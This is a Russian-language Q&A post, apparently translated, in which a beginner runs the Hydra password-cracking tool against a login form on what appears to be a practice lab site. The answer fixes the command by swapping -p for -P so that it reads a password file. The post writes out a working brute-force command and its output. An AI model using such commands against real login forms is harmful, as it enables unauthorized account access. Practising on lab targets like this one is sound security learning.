Почему гидра пытается использовать только один пароль?

Question

Я недавно скачал гидру для моего компьютера с Windows. Это моя первая попытка взлома пароля. Я пытаюсь взломать на шаге 4 есть форма входа, предназначенная для взлома.

В командной строке hydra я набираю следующее, чтобы взломать пароль.

hydra -l admin -p Desktop/passlist.txt attack.samsclass.info http-get-form "/brute4.php:login=^USER^&pin=^PASS^:Denied

Возвращает:

[DATA] max 1 task per 1 server, overall 1 tasks, 1 login try (l:1/p:1), ~1 try per task
[DATA] attacking service http-get-form on port 80
[DATA] with additional data /brute4.php:login=^USER^&pin=^PASS^:Denied
1 of 1 target completed, 0 valid passwords found

В указанном списке паролей у меня правильный пароль, но гидра пробует только один пароль и затем останавливается. что я могу сделать, чтобы изменить это?

Answer 1

Возможно, вы уже знаете ответ, но проблема в том, что ваш флаг -p говорит Hydra, чтобы он пытался ввести текст, который следует сразу после него, в качестве пароля - в данном случае это Desktop/passlist.txt .

Если вы хотите, чтобы Hydra использовала текстовый файл в качестве источника, вам нужно использовать заглавную букву, то есть -P .